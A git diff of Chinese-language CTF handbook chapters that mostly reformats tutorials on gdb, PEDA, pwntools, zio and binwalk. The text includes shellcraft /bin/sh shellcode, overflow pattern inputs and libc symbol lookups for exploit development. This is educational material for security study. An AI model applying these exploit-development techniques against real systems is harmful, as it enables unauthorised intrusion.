- `f` 显示格式(初始默认值是 `x`),显示格式是 `print('x','d','u','o','t','a','c','f','s')` 使用的格式之一,再加 `i`(机器指令)。
|
||||
- `u` 单位大小,`b` 表示单字节,`h` 表示双字节,`w` 表示四字节,`g` 表示八字节。
|
||||
|
||||
`n`, `f`, 和 `u` 都是可选参数,用于指定要显示的内存以及如何格式化。
|
||||
`addr` 是要开始显示内存的地址的表达式。
|
||||
`n` 重复次数(默认值是 1),指定要显示多少个单位(由 `u` 指定)的内存值。
|
||||
`f` 显示格式(初始默认值是 `x`),显示格式是 `print('x','d','u','o','t','a','c','f','s')` 使用的格式之一,再加 `i`(机器指令)。
|
||||
`u` 单位大小,`b` 表示单字节,`h` 表示双字节,`w` 表示四字节,`g` 表示八字节。
|
||||
### display
|
||||
|
||||
#### display
|
||||
每次程序停止时打印表达式 expr 的值。
|
||||
|
||||
- `display <expr>`
|
||||
- `display/fmt <expr>`
|
||||
- `display/fmt <addr>`
|
||||
|
||||
`fmt` 用于指定显示格式。对于格式 `i` 或 `s`,或者包括单位大小或单位数量,将表达式 `addr` 添加为每次程序停止时要检查的内存地址。
|
||||
|
||||
#### disassemble -- disas
|
||||
### disassemble -- disas
|
||||
|
||||
反汇编命令。
|
||||
|
||||
- `disas <func>` 反汇编指定函数
|
||||
- `disas <addr>` 反汇编某地址所在函数
|
||||
- `disas <begin_addr> <end_addr>` 反汇编从开始地址到结束地址的部分
|
||||
|
||||
#### undisplay
|
||||
### undisplay
|
||||
|
||||
取消某些表达式在程序停止时自动显示。参数是表达式的编号(使用 `info display` 查询编号)。不带参数表示取消所有自动显示表达式。
|
||||
|
||||
#### disable display
|
||||
### disable display
|
||||
|
||||
禁用某些表达式在程序停止时自动显示。禁用的显示项目被再次启用。参数是表达式的编号(使用 `info display` 查询编号)。不带参数表示禁用所有自动显示表达式。
|
||||
|
||||
#### enable display
|
||||
### enable display
|
||||
|
||||
启用某些表达式在程序停止时自动显示。参数是重新显示的表达式的编号(使用 `info display` 查询编号)。不带参数表示启用所有自动显示表达式。
|
||||
|
||||
#### help -- h
|
||||
### help -- h
|
||||
|
||||
打印命令列表。
|
||||
|
||||
- `help <class>` 您可以获取该类中各个命令的列表。
|
||||
- `help <command>` 显示如何使用该命令的简述。
|
||||
|
||||
#### attach
|
||||
### attach
|
||||
|
||||
挂接到 GDB 之外的进程或文件。将进程 ID 或设备文件作为参数。
|
||||
|
||||
- `attach <process-id>`
|
||||
|
||||
#### run -- r
|
||||
### run -- r
|
||||
|
||||
启动被调试的程序。可以直接指定参数,也可以用 `set args` 设置(启动所需的)参数。还允许使用 `>`, `<`, 或 `>>` 进行输入和输出重定向。
|
||||
|
||||
甚至可以运行一个脚本,如:
|
||||
```
|
||||
|
||||
```text
|
||||
run `python2 -c 'print "A"*100'`
|
||||
```
|
||||
|
||||
#### backtrace -- bt
|
||||
### backtrace -- bt
|
||||
|
||||
打印整个栈的回溯。
|
||||
|
||||
- `bt` 打印整个栈的回溯,每个栈帧一行。
|
||||
@ -223,44 +278,53 @@ run `python2 -c 'print "A"*100'`
|
||||
|
||||
> 注意:使用 gdb 调试时,会自动关闭 ASLR,所以可能每次看到的栈地址都不变。
|
||||
|
||||
#### ptype
|
||||
### ptype
|
||||
|
||||
打印类型 TYPE 的定义。
|
||||
|
||||
- `ptype[/FLAGS] TYPE-NAME | EXPRESSION`
|
||||
|
||||
参数可以是由 `typedef` 定义的类型名, 或者 `struct STRUCT-TAG` 或者 `class CLASS-NAME` 或者 `union UNION-TAG` 或者 `enum ENUM-TAG`。
|
||||
|
||||
#### set follow-fork-mode
|
||||
### set follow-fork-mode
|
||||
|
||||
当程序 fork 出一个子进程的时候,gdb 默认会追踪父进程(`set follow-fork-mode parent`),但也可以使用命令 `set follow-fork-mode child` 让其追踪子进程。
|
||||
|
||||
另外,如果想要同时追踪父进程和子进程,可以使用命令 `set detach-on-fork off`(默认为`on`),这样就可以同时调试父子进程,在调试其中一个进程时,另一个进程被挂起。如果想让父子进程同时运行,可以使用 `set schedule-multiple on`(默认为`off`)。
|
||||
|
||||
但如果程序是使用 exec 来启动了一个新的程序,可以使用 `set follow-exec-mode new`(默认为`same`) 来新建一个 inferior 给新程序,而父进程的 inferior 仍然保留。
|
||||
|
||||
#### thread apply all bt
|
||||
### thread apply all bt
|
||||
|
||||
打印出所有线程的堆栈信息。
|
||||
|
||||
#### generate-core-file
|
||||
### generate-core-file
|
||||
|
||||
将调试中的进程生成内核转储文件。
|
||||
|
||||
#### directory -- dir
|
||||
### directory -- dir
|
||||
|
||||
设置查找源文件的路径。
|
||||
|
||||
或者使用 gdb 的 `-d` 参数,例如:`gdb a.out -d /search/code/`
|
||||
|
||||
|
||||
## gdb-peda
|
||||
|
||||
当 gdb 启动时,它会在当前用户的主目录中寻找一个名为 `.gdbinit` 的文件;如果该文件存在,则 gdb 就执行该文件中的所有命令。通常,该文件用于简单的配置命令。但是 `.gdbinit` 的配置十分繁琐,因此对 gdb 的扩展通常用插件的方式来实现,通过 python 的脚本可以很方便的实现需要的功能。
|
||||
|
||||
PEDA(Python Exploit Development Assistance for GDB)是一个强大的 gdb 插件。它提供了高亮显示反汇编代码、寄存器、内存信息等人性化的功能。同时,PEDA 还有一些实用的新命令,比如 checksec 可以查看程序开启了哪些安全机制等等。
|
||||
|
||||
#### 安装
|
||||
### 安装
|
||||
|
||||
安装 peda 需要的软件包:
|
||||
|
||||
```shell
|
||||
$ sudo apt-get install nasm micro-inetd
|
||||
$ sudo apt-get install libc6-dbg vim ssh
|
||||
```
|
||||
|
||||
安装 peda:
|
||||
|
||||
```shell
|
||||
$ git clone https://github.com/longld/peda.git ~/peda
|
||||
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
|
||||
@ -268,18 +332,20 @@ $ echo "DONE! debug your program with gdb and enjoy"
|
||||
```
|
||||
|
||||
如果系统为 Arch Linux,则可以直接安装:
|
||||
|
||||
```shell
|
||||
$ yaourt -S peda
|
||||
```
|
||||
|
||||
#### peda命令
|
||||
### peda命令
|
||||
|
||||
- **`aslr`** -- 显示/设置 gdb 的 ASLR
|
||||
- `asmsearch` -- Search for ASM instructions in memory
|
||||
- `asmsearch "int 0x80"`
|
||||
- `asmsearch "add esp, ?" libc`
|
||||
- `assemble` -- On the fly assemble and execute instructions using NASM
|
||||
- `assemble`
|
||||
- ```
|
||||
- ```text
|
||||
assemble $pc
|
||||
> mov al, 0xb
|
||||
> int 0x80
|
||||
@ -341,7 +407,7 @@ $ yaourt -S peda
|
||||
- `nextcall` -- Step until next 'call' instruction in specific memory range
|
||||
- `nextcall cpy`
|
||||
- `nextjmp` -- Step until next 'j*' instruction in specific memory range
|
||||
- `nextjmp`
|
||||
- `nextjmp`
|
||||
- `nxtest` -- Perform real NX test to see if it is enabled/supported by OS
|
||||
- **`patch`** -- 使用字符串/十六进制字符串/整形数
|
||||
- `patch $esp 0xdeadbeef`
|
||||
@ -450,7 +516,8 @@ $ yaourt -S peda
|
||||
- `xrefs` -- Search for all call/data access references to a function/variable
|
||||
- `xuntil` -- Continue execution until an address or function
|
||||
|
||||
#### 使用 PEDA 和 Python 编写 gdb 脚本
|
||||
### 使用 PEDA 和 Python 编写 gdb 脚本
|
||||
|
||||
- 全局类
|
||||
- `pedacmd`:
|
||||
- 交互式命令
|
||||
@ -461,13 +528,13 @@ $ yaourt -S peda
|
||||
- 有返回值
|
||||
- 例如:`peda.getreg("eax")`
|
||||
- 小工具
|
||||
- 例如:`to_int()`、`format_address()`
|
||||
- 获得帮助
|
||||
- `pyhelp peda`
|
||||
- `pyhelp hex2str`
|
||||
- 例如:`to_int()`、`format_address()`
|
||||
- 获得帮助
|
||||
- `pyhelp peda`
|
||||
- `pyhelp hex2str`
|
||||
- 单行/交互式使用
|
||||
- `gdb-peda$ python print peda.get_vmmap()`
|
||||
- ```
|
||||
- ```text
|
||||
gdb-peda$ python
|
||||
> status = peda.get_status()
|
||||
> while status == "BREAKPOINT":
|
||||
@ -475,28 +542,30 @@ $ yaourt -S peda
|
||||
> end
|
||||
```
|
||||
- 外部脚本
|
||||
- ```
|
||||
- ```text
|
||||
# myscript.py
|
||||
def myrun(size):
|
||||
argv = cyclic_pattern(size)
|
||||
peda.execute("set arg %s" % argv)
|
||||
peda.execute("run")
|
||||
```
|
||||
```
|
||||
```text
|
||||
gdb-peda$ source myscript.py
|
||||
gdb-peda$ python myrun(100)
|
||||
```
|
||||
|
||||
#### 更多资料
|
||||
http://ropshell.com/peda/
|
||||
### 更多资料
|
||||
|
||||
<http://ropshell.com/peda/>
|
||||
|
||||
## GEF/pwndbg
|
||||
|
||||
除了 PEDA 外还有一些优秀的 gdb 增强工具,特别是增加了一些查看堆的命令,可以看情况选用。
|
||||
|
||||
- [GEF](https://github.com/hugsy/gef) - Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers
|
||||
- [pwndbg](https://github.com/pwndbg/pwndbg) - Exploit Development and Reverse Engineering with GDB Made Easy
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Debugging with GDB](https://sourceware.org/gdb/onlinedocs/gdb/)
|
||||
- [100个gdb小技巧](https://github.com/hellogcc/100-gdb-tips)
|
||||
|
@ -4,8 +4,8 @@
|
||||
- [命令行插件](#命令行插件)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 快捷键
|
||||
|
||||
- `Ctrl`+`F1`:打开与所选行内符号相关的 API 帮助文档。
|
||||
- `F2`:在光标选定位置按 F2 键设置或取消断点。
|
||||
- `Shift`+`F2`:在首个选择命令设置条件断点。
|
||||
@ -69,8 +69,8 @@
|
||||
- `:`:添加标签。
|
||||
- `;`:添加注释。
|
||||
|
||||
|
||||
## 命令行插件
|
||||
|
||||
## 参考资料
|
||||
- http://www.ollydbg.de/
|
||||
|
||||
- <http://www.ollydbg.de/>
|
||||
|
@ -3,8 +3,8 @@
|
||||
- [快捷键](#快捷键)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 快捷键
|
||||
|
||||
## 参考资料
|
||||
- https://x64dbg.com/#start
|
||||
|
||||
- <https://x64dbg.com/#start>
|
||||
|
@ -4,14 +4,14 @@
|
||||
- [命令](#命令)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 快捷键
|
||||
|
||||
- F10:单步步过
|
||||
- F11:单步步入
|
||||
- Shift+F11:跳出当前函数
|
||||
|
||||
|
||||
## 命令
|
||||
|
||||
- 调试
|
||||
- `t`:单步步入
|
||||
- `p`:单步步过
|
||||
@ -52,6 +52,6 @@
|
||||
- `u [start]`:从指定位置开始反汇编
|
||||
- `u [start] [end]`:反汇编指定地址区间
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/
|
||||
|
||||
- <https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/>
|
||||
|
@ -2,6 +2,6 @@
|
||||
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [The LLDB Debugger](http://lldb.llvm.org/)
|
||||
|
@ -6,12 +6,12 @@
|
||||
- [Pwntools 在 CTF 中的运用](#pwntools-在-ctf-中的运用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
Pwntools 是一个 CTF 框架和漏洞利用开发库,用 Python 开发,由 rapid 设计,旨在让使用者简单快速的编写 exp 脚本。包含了本地执行、远程连接读写、shellcode 生成、ROP 链的构建、ELF 解析、符号泄露众多强大功能。
|
||||
|
||||
## 安装
|
||||
|
||||
1. 安装binutils:
|
||||
|
||||
```shell
|
||||
git clone https://github.com/Gallopsled/pwntools-binutils
|
||||
sudo apt-get install software-properties-common
|
||||
@ -19,28 +19,35 @@ Pwntools 是一个 CTF 框架和漏洞利用开发库,用 Python 开发,由
|
||||
sudo apt-get update
|
||||
sudo apt-get install binutils-arm-linux-gnu
|
||||
```
|
||||
|
||||
2. 安装capstone:
|
||||
|
||||
```shell
|
||||
git clone https://github.com/aquynh/capstone
|
||||
cd capstone
|
||||
make
|
||||
sudo make install
|
||||
```
|
||||
|
||||
3. 安装pwntools:
|
||||
|
||||
```shell
|
||||
sudo apt-get install libssl-dev
|
||||
sudo pip install pwntools
|
||||
```
|
||||
|
||||
如果你在使用 Arch Linux,则可以通过 AUR 直接安装,这个包目前是由我维护的,如果有什么问题,欢迎与我交流:
|
||||
```
|
||||
|
||||
```text
|
||||
$ yaourt -S python2-pwntools
|
||||
|
||||
或者
|
||||
|
||||
$ yaourt -S python2-pwntools-git
|
||||
```
|
||||
|
||||
但是由于 Arch 没有 PPA 源,如果想要支持更多的体系结构(如 arm, aarch64 等),只能手动编译安装相应的 binutils,使用下面的脚本,注意将变量 `V` 和 `ARCH` 换成你需要的。[binutils](https://ftp.gnu.org/gnu/binutils/)[源码](../src/others/2.4.1_pwntools/binutils.sh)
|
||||
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
|
||||
@ -75,6 +82,7 @@ sudo make install
|
||||
```
|
||||
|
||||
测试安装是否成功:
|
||||
|
||||
```python
|
||||
>>> from pwn import *
|
||||
>>> asm('nop')
|
||||
@ -83,11 +91,12 @@ sudo make install
|
||||
'\x00\xf0 \xe3'
|
||||
```
|
||||
|
||||
|
||||
## 模块简介
|
||||
|
||||
Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import *` 即可将所有子模块和一些常用的系统库导入到当前命名空间中,是专门针对 CTF 比赛的;而另一个模块是 `pwnlib`,它更推荐你仅仅导入需要的子模块,常用于基于 pwntools 的开发。
|
||||
|
||||
下面是 pwnlib 的一些子模块(常用模块和函数加粗显示):
|
||||
|
||||
- `adb`:安卓调试桥
|
||||
- `args`:命令行魔法参数
|
||||
- **`asm`**:汇编和反汇编,支持 i386/i686/amd64/thumb 等
|
||||
@ -113,14 +122,16 @@ Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import
|
||||
- `useragents`:useragent 字符串数据库
|
||||
- **`util`**:一些实用小工具
|
||||
|
||||
|
||||
## 使用 Pwntools
|
||||
|
||||
下面我们对常用模块和函数做详细的介绍。
|
||||
|
||||
#### tubes
|
||||
### tubes
|
||||
|
||||
在一次漏洞利用中,首先当然要与二进制文件或者目标服务器进行交互,这就要用到 tubes 模块。
|
||||
|
||||
主要函数在 `pwnlib.tubes.tube` 中实现,子模块只实现某管道特殊的地方。四种管道和相对应的子模块如下:
|
||||
|
||||
- `pwnlib.tubes.process`:进程
|
||||
- `>>> p = process('/bin/sh')`
|
||||
- `pwnlib.tubes.serialtube`:串口
|
||||
@ -131,6 +142,7 @@ Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import
|
||||
- `>>> s = ssh(host='example.com`, user='name', password='passwd')`
|
||||
|
||||
`pwnlib.tubes.tube` 中的主要函数:
|
||||
|
||||
- `interactive()`:可同时读写管道,相当于回到 shell 模式进行交互,在取得 shell 之后调用
|
||||
- `recv(numb=1096, timeout=default)`:接收指定字节数的数据
|
||||
- `recvall()`:接收数据直到 EOF
|
||||
@ -142,6 +154,7 @@ Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import
|
||||
- `close()`:关闭管道
|
||||
|
||||
下面是一个例子,先使用 listen 开启一个本地的监听端口,然后使用 remote 开启一个套接字管道与之交互:
|
||||
|
||||
```text
|
||||
>>> from pwn import *
|
||||
>>> l = listen()
|
||||
@ -184,6 +197,7 @@ Pwntools 分为两个模块,一个是 `pwn`,简单地使用 `from pwn import
|
||||
```
|
||||
|
||||
下面是一个与进程交互的例子:
|
||||
|
||||
```text
|
||||
>>> p = process('/bin/sh')
|
||||
[x] Starting local process '/bin/sh'
|
||||
@ -205,9 +219,11 @@ firmy
|
||||
[*] Stopped process '/bin/sh' (pid 26481)
|
||||
```
|
||||
|
||||
#### shellcraft
|
||||
### shellcraft
|
||||
|
||||
使用 shellcraft 模块可以生成对应架构和 shellcode 代码,直接使用链式调用的方法就可以得到,首先指定体系结构,再指定操作系统:
|
||||
```
|
||||
|
||||
```text
|
||||
>>> print shellcraft.i386.nop().strip('\n')
|
||||
nop
|
||||
>>> print shellcraft.i386.linux.sh()
|
||||
@ -235,12 +251,14 @@ firmy
|
||||
int 0x80
|
||||
```
|
||||
|
||||
#### asm
|
||||
### asm
|
||||
|
||||
该模块用于汇编和反汇编代码。
|
||||
|
||||
体系结构,端序和字长需要在 `asm()` 和 `disasm()` 中设置,但为了避免重复,运行时变量最好使用 `pwnlib.context` 来设置。
|
||||
|
||||
汇编:(`pwnlib.asm.asm`)
|
||||
|
||||
```text
|
||||
>>> asm('nop')
|
||||
'\x90'
|
||||
@ -257,15 +275,18 @@ ContextType(arch = 'arm', bits = 32, endian = 'little', os = 'linux')
|
||||
>>> asm('nop')
|
||||
'\x00\xf0 \xe3'
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
>>> asm('mov eax, 1')
|
||||
'\xb8\x01\x00\x00\x00'
|
||||
>>> asm('mov eax, 1').encode('hex')
|
||||
'b801000000'
|
||||
```
|
||||
|
||||
请注意,这里我们生成了 i386 和 arm 两种不同体系结构的 `nop`,当你使用不同与本机平台的汇编时,需要安装该平台的 binutils,方法在上面已经介绍过了。
|
||||
|
||||
反汇编:(`pwnlib.asm.disasm`)
|
||||
|
||||
```text
|
||||
>>> print disasm('\xb8\x01\x00\x00\x00')
|
||||
0: b8 01 00 00 00 mov eax,0x1
|
||||
@ -277,6 +298,7 @@ ContextType(arch = 'arm', bits = 32, endian = 'little', os = 'linux')
|
||||
```
|
||||
|
||||
构建具有指定二进制数据的 ELF 文件:(`pwnlib.asm.make_elf`)
|
||||
|
||||
```text
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> context
|
||||
@ -294,9 +316,11 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little')
|
||||
>>> p.recv()
|
||||
'hello\n'
|
||||
```
|
||||
|
||||
这里我们生成了 amd64,即 64 位 `/bin/sh` 的 shellcode,配合上 asm 函数,即可通过 `make_elf` 得到 ELF 文件。
|
||||
|
||||
另一个函数 `pwnlib.asm.make_elf_from_assembly` 允许你构建具有指定汇编代码的 ELF 文件:
|
||||
|
||||
```text
|
||||
>>> asm_sh = shellcraft.amd64.linux.sh()
|
||||
>>> print asm_sh
|
||||
@ -333,10 +357,13 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little')
|
||||
>>> p.recv()
|
||||
'hello\n'
|
||||
```
|
||||
|
||||
与上一个函数不同的是,`make_elf_from_assembly` 直接从汇编生成 ELF 文件,并且保留了所有的符号,例如标签和局部变量等。
|
||||
|
||||
#### elf
|
||||
### elf
|
||||
|
||||
该模块用于 ELF 二进制文件的操作,包括符号查找、虚拟内存、文件偏移,以及修改和保存二进制文件等功能。(`pwnlib.elf.elf.ELF`)
|
||||
|
||||
```text
|
||||
>>> e = ELF('/bin/cat')
|
||||
[*] '/bin/cat'
|
||||
@ -354,9 +381,11 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little')
|
||||
>>> print hex(e.plt['write'])
|
||||
0x401680
|
||||
```
|
||||
|
||||
上面的代码分别获得了 ELF 文件装载的基地址、函数地址、GOT 表地址和 PLT 表地址。
|
||||
|
||||
我们常常用它打开一个 libc.so,从而得到 system 函数的位置,这在 CTF 中是非常有用的:
|
||||
|
||||
```text
|
||||
>>> e = ELF('/usr/lib/libc.so.6')
|
||||
[*] '/usr/lib/libc.so.6'
|
||||
@ -370,6 +399,7 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little')
|
||||
```
|
||||
|
||||
我们甚至可以修改 ELF 文件的代码:
|
||||
|
||||
```text
|
||||
>>> e = ELF('/bin/cat')
|
||||
>>> e.read(e.address+1, 3)
|
||||
@ -381,6 +411,7 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little')
|
||||
```
|
||||
|
||||
下面是一些常用函数:
|
||||
|
||||
- `asm(address, assembly)`:汇编指定指令并插入到 ELF 的指定地址处,需要使用 ELF.save() 保存
|
||||
- `bss(offset)`:返回 `.bss` 段加上 `offset` 后的地址
|
||||
- `checksec()`:打印出文件使用的安全保护
|
||||
@ -394,7 +425,8 @@ ContextType(arch = 'amd64', bits = 64, endian = 'little')
|
||||
- `debug()`:使用 `gdb.debug()` 进行调试
|
||||
|
||||
最后还要注意一下 `pwnlib.elf.corefile`,它用于处理核心转储文件(Core Dump),当我们在写利用代码时,核心转储文件是非常有用的,关于它更详细的内容已经在前面 Linux基础一章中讲过,这里我们还是使用那一章中的示例代码,但使用 pwntools 来操作。
|
||||
```
|
||||
|
||||
```text
|
||||
>>> core = Corefile('/tmp/core-a.out-30555-1507796886')
|
||||
[x] Parsing corefile...
|
||||
[*] '/tmp/core-a.out-30555-1507796886'
|
||||
@ -431,22 +463,26 @@ ffe37000-ffe58000 rw-p 21000 [stack]
|
||||
f7510000-f76df000 r-xp 1cf000 /usr/lib32/libc-2.26.so
|
||||
```
|
||||
|
||||
#### dynelf
|
||||
### dynelf
|
||||
|
||||
`pwnlib.dynelf.DynELF`
|
||||
|
||||
该模块是专门用来应对无 libc 情况下的漏洞利用。它首先找到 glibc 的基地址,然后使用符号表和字符串表对所有符号进行解析,直到找到我们需要的函数的符号。这是一个有趣的话题,我们会专门开一个章节去讲解它。详见 *4.4 使用 DynELF 泄露函数地址*
|
||||
|
||||
#### fmtstr
|
||||
### fmtstr
|
||||
|
||||
`pwnlib.fmtstr.FmtStr`,`pwnlib.fmtstr.fmtstr_payload`
|
||||
|
||||
该模块用于格式化字符串漏洞的利用,格式化字符串漏洞是 CTF 中一种常见的题型,我们会在后面的章节中详细讲述,关于该模块的使用也会留到那儿。详见 *3.3.1 格式化字符串漏洞*
|
||||
|
||||
#### gdb
|
||||
### gdb
|
||||
|
||||
`pwnlib.gdb`
|
||||
|
||||
在写漏洞利用的时候,常常需要使用 gdb 动态调试,该模块就提供了这方面的支持。
|
||||
|
||||
两个常用函数:
|
||||
|
||||
- `gdb.attach(target, gdbscript=None)`:在一个新终端打开 gdb 并 attach 到指定 PID 的进程,或是一个 `pwnlib.tubes` 对象。
|
||||
- `gdb.debug(args, gdbscript=None)`:在新终端中使用 gdb 加载一个二进制文件。
|
||||
|
||||
@ -465,7 +501,7 @@ continue
|
||||
bash.sendline('whoami')
|
||||
```
|
||||
|
||||
```
|
||||
```text
|
||||
# Create a new process, and stop it at 'main'
|
||||
io = gdb.debug('bash', '''
|
||||
# Wait until we hit the main executable's entry point
|
||||
@ -479,14 +515,16 @@ continue
|
||||
''')
|
||||
```
|
||||
|
||||
#### memleak
|
||||
### memleak
|
||||
|
||||
`pwnlib.memleak`
|
||||
|
||||
该模块用于内存泄露的利用。可用作装饰器。它会将泄露的内存缓存起来,在漏洞利用过程中可能会用到。
|
||||
|
||||
#### rop
|
||||
### rop
|
||||
|
||||
### util
|
||||
|
||||
#### util
|
||||
`pwnlib.util.packing`, `pwnlib.util.cyclic`
|
||||
|
||||
util 其实是一些模块的集合,包含了一些实用的小工具。这里主要介绍两个,packing 和 cyclic。
|
||||
@ -494,7 +532,8 @@ util 其实是一些模块的集合,包含了一些实用的小工具。这里
|
||||
packing 模块用于将整数打包和解包,它简化了标准库中的 `struct.pack` 和 `struct.unpack` 函数,同时增加了对任意宽度整数的支持。
|
||||
|
||||
使用 `p32`, `p64`, `u32`, `u64` 函数分别对 32 位和 64 位整数打包和解包,也可以使用 `pack()` 自己定义长度,另外添加参数 `endian` 和 `signed` 设置端序和是否带符号。
|
||||
```
|
||||
|
||||
```text
|
||||
>>> p32(0xdeadbeef)
|
||||
'\xef\xbe\xad\xde'
|
||||
>>> p64(0xdeadbeef).encode('hex')
|
||||
@ -502,7 +541,8 @@ packing 模块用于将整数打包和解包,它简化了标准库中的 `stru
|
||||
>>> p32(0xdeadbeef, endian='big', sign='unsigned')
|
||||
'\xde\xad\xbe\xef'
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
>>> u32('1234')
|
||||
875770417
|
||||
>>> u32('1234', endian='big', sign='signed')
|
||||
@ -512,18 +552,19 @@ packing 模块用于将整数打包和解包,它简化了标准库中的 `stru
|
||||
```
|
||||
|
||||
cyclic 模块在缓冲区溢出中很有用,它帮助生成模式字符串,然后查找偏移,以确定返回地址。
|
||||
```
|
||||
|
||||
```text
|
||||
>>> cyclic(20)
|
||||
'aaaabaaacaaadaaaeaaa'
|
||||
>>> cyclic_find(0x61616162)
|
||||
4
|
||||
```
|
||||
|
||||
|
||||
## Pwntools 在 CTF 中的运用
|
||||
|
||||
可以在下面的仓库中找到大量使用 pwntools 的 write-up:
|
||||
[pwntools-write-ups](https://github.com/Gallopsled/pwntools-write-ups)
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [docs.pwntools.com](https://docs.pwntools.com/en/stable/index.html)
|
||||
|
@ -5,11 +5,12 @@
|
||||
- [使用方法](#使用方法)
|
||||
- [zio 在 CTF 中的应用](#zio-在-ctf-中的应用)
|
||||
|
||||
|
||||
## zio 简介
|
||||
|
||||
[zio](https://github.com/zTrix/zio) 是一个易用的 Python io 库,在 Pwn 题目中被广泛使用,zio 的主要目标是在 stdin/stdout 和 TCP socket io 之间提供统一的接口,所以当你在本地完成 利用开发后,使用 zio 可以很方便地将目标切换到远程服务器。
|
||||
|
||||
zio 的哲学:
|
||||
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
@ -24,6 +25,7 @@ io.interact()
|
||||
```
|
||||
|
||||
官方示例:
|
||||
|
||||
```python
|
||||
from zio import *
|
||||
io = zio('./buggy-server')
|
||||
@ -47,33 +49,40 @@ io.interact()
|
||||
|
||||
需要注意的的是,zio 正在逐步被开发更活跃,功能更完善的 pwntools 取代,但如果你使用的是 32 位 Linux 系统,zio 可能是你唯一的选择。而且在线下赛中,内网环境通常都没有 pwntools 环境,但 zio 是单个文件,上传到内网机器上就可以直接使用。
|
||||
|
||||
|
||||
## 安装
|
||||
|
||||
zio 仅支持 Linux 和 OSX,并基于 python 2.6, 2.7。
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo pip2 install zio
|
||||
```
|
||||
|
||||
`termcolor` 库是可选的,用于给输出上色:`$ sudo pip2 install termcolor`。
|
||||
|
||||
|
||||
## 使用方法
|
||||
|
||||
由于没有文档,我们通过读源码来学习吧,不到两千行,很轻量,这也意味着你可以根据自己的需求很容易地进行修改。
|
||||
|
||||
总共导出了这些关键字:
|
||||
|
||||
```python
|
||||
__all__ = ['stdout', 'log', 'l8', 'b8', 'l16', 'b16', 'l32', 'b32', 'l64', 'b64', 'zio', 'EOF', 'TIMEOUT', 'SOCKET', 'PROCESS', 'REPR', 'EVAL', 'HEX', 'UNHEX', 'BIN', 'UNBIN', 'RAW', 'NONE', 'COLORED', 'PIPE', 'TTY', 'TTY_RAW', 'cmdline']
|
||||
```
|
||||
|
||||
zio 对象的初始化定义:
|
||||
|
||||
```python
|
||||
def __init__(self, target, stdin = PIPE, stdout = TTY_RAW, print_read = RAW, print_write = RAW, timeout = 8, cwd = None, env = None, sighup = signal.SIG_DFL, write_delay = 0.05, ignorecase = False, debug = None):
|
||||
```
|
||||
|
||||
通常可以这样:
|
||||
|
||||
```python
|
||||
io = zio(target, timeout=10000, print_read=COLORED(RAW,'red'), print_write=COLORED(RAW,'green'))
|
||||
```
|
||||
|
||||
内部函数很多,下面是常用的:
|
||||
|
||||
```python
|
||||
def print_write(self, value):
|
||||
def print_read(self, value):
|
||||
@ -89,9 +98,11 @@ def gdb_hint(self, breakpoints = None, relative = None, extras = None):
|
||||
|
||||
def interact(self, escape_character=chr(29), input_filter = None, output_filter = None, raw_rw = True):
|
||||
```
|
||||
|
||||
zio 里的 `read` 和 `write` 对应到 pwntools 里就是 `recv` 和 `send`。
|
||||
|
||||
另外是对字符的拆包解包,是对 struct 库的封装:
|
||||
|
||||
```python
|
||||
>>> l32(0xdeedbeaf)
|
||||
'\xaf\xbe\xed\xde'
|
||||
@ -105,10 +116,12 @@ zio 里的 `read` 和 `write` 对应到 pwntools 里就是 `recv` 和 `send`。
|
||||
>>> b64(0x4142434445464748)
|
||||
'ABCDEFGH'
|
||||
```
|
||||
|
||||
`l` 和 `b` 就是指小端序和大端序。这些函数可以对应 pwntools 里的 `p32()`,`p64()`等。
|
||||
|
||||
当然你也可以直接在命令行下使用它:
|
||||
```
|
||||
|
||||
```text
|
||||
$ zio -h
|
||||
|
||||
usage:
|
||||
@ -129,6 +142,6 @@ options:
|
||||
-l, --delay write delay, time to wait before write
|
||||
```
|
||||
|
||||
|
||||
## zio 在 CTF 中的应用
|
||||
|
||||
何不把使用 pwntools 的写的 exp 换成 zio 试试呢xD。
|
||||
|
@ -6,49 +6,55 @@
|
||||
- [实例](#实例)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## Binwalk 介绍
|
||||
|
||||
Binwalk 是一个快速,易于使用的工具,用于分析,逆向工程和提取固件映像。 官方给出的用途是提取固件镜像,然而,我们在做一些隐写类的题目的时候,Binwalk 这个工具非常方便。
|
||||
|
||||
最好在 *nix 系统下使用,如果你的 Windows 版本是 1703 及以上,那么在 [WSL](https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux) 中安装 binwalk 是个不错的选择。
|
||||
|
||||
|
||||
## 安装
|
||||
|
||||
如果你是在 Ubuntu 下,那么使用下面的命令安装:
|
||||
|
||||
```shell
|
||||
$ sudo apt install binwalk
|
||||
```
|
||||
|
||||
|
||||
## 快速入门
|
||||
#### 扫描固件
|
||||
|
||||
### 扫描固件
|
||||
|
||||
Binwalk 可以扫描许多嵌入式文件类型和文件系统的固件镜像,比如:
|
||||
|
||||
```shell
|
||||
$ binwalk firmware.bin
|
||||
|
||||
DECIMAL HEX DESCRIPTION
|
||||
